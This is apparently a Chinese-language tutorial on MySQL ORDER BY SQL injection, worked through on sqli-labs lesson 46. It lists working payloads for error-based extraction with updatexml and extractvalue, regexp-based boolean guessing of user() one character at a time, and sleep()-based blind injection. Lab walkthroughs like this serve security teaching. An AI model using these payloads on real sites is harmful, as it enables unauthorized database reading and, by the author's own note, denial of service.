Mysql 注入之 order by 注入

order by 注入

即注入点在 odrer by 后面的注入
执行语句:select * from users order by $_GET['id']

注入判断

这里以sqli-labs第 46 题为例
在早期注入大量存在的时候利用order by子句进行快速猜解列数,再配合union select语句进行回显。可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列。order by后面无法直接进行运算,因此order by 3order by 2+1不同
图片.png
图片.png
判断注入是否在order by 后面,在参数后面尝试ascdesc即可判断
图片.png
图片.png

payload

可以直接对order by后面进行注入,也可以在 order by后面使用and进行注入

updatexml 报错

payload:?sort=updatexml(1,if(1=2,1,user()),1)
图片.png

payload:?sort=1 and updatexml (1,concat (0x7e, (select database()),0x7e),1)
图片.png

extractvalue 报错

payload:?sort=extractvalue(1,if(1=2,1,user()))
图片.png

regexp 报错

判断 payload:
?sort=(select+1+regexp+if(1=1,1,0x00)) 正常
?sort=(select+1+regexp+if(1=2,1,0x00)) 报错

user()的结果第一位是r,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及left和right可以精准分割出每一位子串。

通过以下可以得知user()第一位为r,ascii码的16进制为0x72
?sort=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00))正常
图片.png

?sort=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00))报错
图片.png

基于时间的盲注

判断 payload:?sort=if(1=1,sleep(2),1)
直接使用 sleep函数,将会导致时间延迟2*当前表数目,将会导致一定的拒绝服务攻击。

判断 payload:?sort=if(1=2,1,sleep(2) # 由于表中数目未知,延迟时间2*表数目,因此正常网速情况下,延迟时间大于 2 可判断成功执行代码。

注数据库 payload:?sort=if(ascii(substr(database(),1,1))=114,1,SLEEP(2)) # 如果数据库第一个字符的 ascii 为114,则正常执行,否则延迟一段时间,慢慢注吧。